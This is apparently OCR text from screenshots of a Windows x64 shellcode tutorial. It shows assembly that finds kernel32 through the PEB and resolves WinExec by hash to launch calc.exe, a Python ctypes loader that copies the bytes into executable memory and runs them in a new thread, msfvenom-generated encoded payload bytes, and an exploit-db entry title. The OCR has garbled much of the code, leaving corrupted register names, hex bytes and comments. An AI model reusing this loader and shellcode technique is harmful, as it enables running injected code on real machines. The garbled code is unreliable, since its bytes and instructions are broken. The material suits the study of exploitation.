UINT WinExec(
[in] LPCSTR 1lpCmdLine,
[in] UINT uCmdShow
)8

IPCindLine [Y'calc.exe\0"uCmdShow [] 1[TTT] Shellcode [TT]ws2_32.dll [TTTTTTTTTTITTITTTTTTTTTT ] W

"call winexec:"

" mov r8d, 0Oxe8afe98;" # WinExec[IT]
call parse module;" # [[IIIWinExec[IIIT]
Xor rcx, rcx;"

push rcx;"

mov rcx, 0x6578652e636c6163;" [# exe. clac
push rcx;"

lea rcx, [rsp];"

xor rdx, rdx;"

" inc rdx;'

sub rsp, 0x28;"

call rax;" # [IWSAStar tup
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import ctypes, struct

from keystone import *

CODE = (

"find kernel32:"

xor rdx, rdx;"

" mov rsi,[rax+0x18];" # [PEB[ITI-DR[ITIIT] PEB_LDR DATAMIIIT]

mov rax, gs:[rdx+0x60];" # RAX[TEB[ProcessEnvironmentBlock[TTTTTPEB[T]

" mov rsi,[rsi + 0x20];" # RSI[] PEB LDR DATA[TITEnMemoryOrderModuleList[TTIT]

" mov r9, [rsi];" # [IIpython. exe
mov r9, [r9];" # [IIhtdll. dll
" mov r9, [r9+0x20];" # [IIkernel32. dl1

jmp call winexec;"

"parse module: " # [TIIIIPLLM

" mov ecx, dword ptr [r9 + 0x3c];" # RO[IITIIITITIINTOT
! xor rl5, rl15;"

mov rl5b, 0x88;"

! add rl15, r9;"

" add rl15, rcx;"

" mov rl5d, dword ptr [rl15];" # [IIIIIIRVA

" add r15, r9;" # RLA[TTITIITVMA

! mov ecx, dword ptr [rl5 + Ox18];" # ecX[ITITITIIIIIIITN
" mov rl4d, dword ptr [rl5 + 0x20];" # [TENPT[RVA
" add rl4, r9;" # R14 [JTENPT[VMA

"search function:" # (11110

" jrcxz not found;" # [MTRCXPIIIIIIIO

" dec ecx;" # (11110

" Xor rsi, rsi;"

" mov esi, [rl4 + rcx*4];" # [TIIIIITRVA

" add rsi, r9;" # RSI [IIIIII1D

"function hashing: " # [TII111

XOr rax, rax;

xor rdx, rdx;"

! cld; " # [IDPF[IL



iteration:" # 11110

lodsb; " # RSI[IITTTIITAL
test al, al;" # [T
jz compare_hash;" # 111
ror edx, 0x0d;" # 11110
add edx, eax;" # 11110
jmp iteration;" # 1111
compare _hash: " # 1111
cmp edx, r8d;"
jnz search_function;" # [T ( O
mov rl0d, [rl5 + Ox24];" # [TTRVA
add r10, ro;" # [TIVMA
movzx ecx, word ptr [rl@ + 2*rcx];" # 1111 -1
mov rlld, [r15 + Ox1lc];" # EAT[RVA
add rll, r9;" # EAT[IVNA
mov eax, [rll + 4*rcx];" # RAX[IITRVA
add rax, r9;" # RAXTIITVMA
ret;"
not found:"
ret;"
call winexec:"
mov r8d, 0Oxe8afe98;" # WinExec[ITI]
call parse module;" # [TIIIWinExec[IIIT]

Xor rcx, rcx;"

push rcx;"

mov rcx, 0x6578652e636c6163;" [# exe. clac

push rcx;"

lea rcx, [rspl;
xor rdx,rdx;"
inc rdx;"

sub rsp, 0x28;"

call rax;"

# [TWSAStartup



ks = Ks(KS_ARCH X86, KS MODE 64)
encoding, count = ks. asm( CODE)

print("Encoded %d instructions..." % count)

sh = bll n
for e in encoding:
sh += struct. pack("B", e)

shellcode = bytearray(sh)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes.c uint64

ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))

buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)

ctypes. windll. kernel32. RtlMoveMemory( ctypes. c_uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes. windll. kernel32. CreateThread(ctypes. c _int(0),
ctypes. c_int(0),
ctypes. ¢ uint64(ptr),
ctypes. c_int(0),
ctypes. c_int(0),
ctypes. pointer(ctypes.c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c int(ht), ctypes.c int(-1))

[ITTTT Shelladee [IITTOW@XDO [TTT1T]



~/Desktop
H64.py

Payload size: 169 bytes

buf = b"\x48%x31\xd2\x65 \x48 \xBb \x42 X660\ x48\xBb\X70\x18\x48 \xBb\x76 \x20\ x4\ xBb\x0e'\x4d"
buf += b"\x8b%\x@09\x4d\x8b\x49 \x20 \xeb \x63\x41\xBb\x49\ X3\ x4d \ k31 \xFFA\ 41\ xb7 \x88 \x4d\x01"
buf += b"\xcfi\x49\x@1\xcFA\x45\xBb \x3F A\ xad\x01N\XcFAXE1A\XEBb\ XA\ K18\ x40 \XBb\XT 7 \x20 \x4d \x01"
buf += b"‘\xcel\xed\x3IF\xFfFA\xcO\x48 31\ xFE\XE1\xBb Y\ X34 \xBe \ X4\ X0 \xca\ 48 \x3 1\ xcD \ 48 \x31"
buf += b"‘\xd2\xfc\xac\ x84 \xc@\x74\x07\xc1\xca\x0d\x01\xc2\xeb\x 4 \x44 \x39 \xc2\x75 \xda \x45"
buf += b"\x8b\x57\x24\x4d \x01\xca\ x41\x@F\xb7\x0c\x&4a \x45\xBb\x5F \x1c\ x4d\x01 \xch\x41\x8b"
buf += b"\x@4\x8b\x&4c\xB1\xcB\xc3\xc3\x41xbB\x98 \xfe \xBa \x0e \xeB \x 92\ xfF \uff \xffi\na8i\x31"
buf += b"%\xc9%\x51\x48\xb9\x63\x61 X6\ X633\ x2e\xB5 X778\ X654\ X5 1\ x48 \xBd \ X0\ X245 \x48 \x31\xd2"

buf += b"\x48\xff\xc2\x48\x83\xech\x28\xff\xda"

MSF [TTTTT] 0x00 [] SheBI® €11

~/Desktop

windows/x64/exec cmd=calc.exe python

[-]1 No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders

Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0=@a)

Attempting to encode payload with 1 iterations of x64/xor
®x64/xor succeeded with size 319 (iteration=0)

x64/%or chosen with fipal size 319

Payload size: 319 bytes

Final size of python file: 1786 bytes

shellcode =

shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode

b "
b"N\x48N\x31\xcO\x48 \x8 1 \ e\ xdd\x F Fi\xFFi\xffi\x&a8”
b"\x8d\x@5 \xef\xfFA\xfF\xffi\xs8\xbb\xfe\xbb\x74"
b "\x14\xasd\xfa\xeb\x21\x48\x31\x58\x27\x48\x2d"
b\ fe AP F A xe2\ i fa \x@a\xf3\xf7 \xfo\x54"
b"\x12\x2b\x21\xfe \xbb\x35\x45\xe5 \xaa\ xb9 \x7@"
b"\xad\xf3 \x&45\xch \xc1\xb2\x60\x73\x96 \x 3 \xff"
b"\x46\xbc\xb2\x60\x73\xd6 \xFI\xFf i\ x66\xf4 \xb2"
b"\xe4\x96 \xbch\xf1 \x39\x25 \x6d\xb2\xda\xel\x5a"
bW\ x87\x15 \x68 \xa6 \xd6\xch\ x6@\x37\xT72\x79\x55"
b "\xa5\x3b\x@9\xcchxad \xfahx25\x5c\x2f\xa8\xcb"
b"\xaa\xb&\xB87\x3c\x15\x74\x71\x6b\xa9\xf6 \xbb"
b"\x74\x5ch\x21\x3a \x9F \x46 \xbe\xba\xas \ K44 \x2f"
b"\xb2\xf3\x65\x7d\xfb\x54\x5d\xa5\x2a\x08\x77"
b"\xbe\x&44 \xbd\x55\x2 F\xce\x63\x69\xFf7\x6d\x39"
b"Wx25\x6d\xb2\xda\xel\x5a\xfa\xb5\xdd\xa9\xbh"
b "\xeat\xed\xce\xsb\x@1\xe5\ xeB\xfo\xa7 \ x05 \xfe"
b"\xfe\x4dyxco\xd1\x22\xb3\x65\x7d\xfh\ x50 x5d"
b"\xa5\x2a\xB8d\x6@\x7d\xb7\x3c\x50 \x2F\xba\xf7"
b"\x68\xf7\x6b\x35\x0F\xad\x72\xa3\x28\x26\xfa"
b"\x2c\x55\xfch\xas\xb2\x7b\xb7\xe3\x35\x4d\ xe5"
b"Wxa@\xa3d\xa2\x1a\x9b\x35\x46 \x5b\x1axb3\x60"
b"\xafi\xel \x3c\ x99\ xbe\x13\xbc\xde\x@9\ K44 \x29"
b"\x5ch\x1e\xfbi\xeb\x21\xFfe \xbb\x74 \x14\xa4 \xb2"
b"\xe6\xac\xf7\xba\x74\x14 \xe5\ x40 \xda‘\ xaa\x99"
b"\x3c\x8b\xc1\x1f\x0a\x5e\x83\xad\xfa\xce\xb2"
b"\x31\x& 7\ x76 \xde\x 23\ FI\xF7\xdB\xBc\xch\xed"
b " x5d\xfe\x3bA\xB8F \xfa \xd1\ xF A\ x50\ x66 \xe5\xc9"”
b"\x1b\x7e\xas \xad\xaa\xa8\x2c\x&44 \xal\ k77 \xc5"
b"\x964\x88\x@0F\ x93 \xc3\x11\x14 \xas \xfa\xeb\x21"

exploit-db [TTT]T] Shell2®se I

shellcode
[-]1 No platform was selected, choosing Msf::Module::Platform:: Windows from the payload
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Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)

CVE: Author: Type: Platform: Date:

N/A BOKU SHELLCODE WINDOWS_XB6-64 2021-05-03
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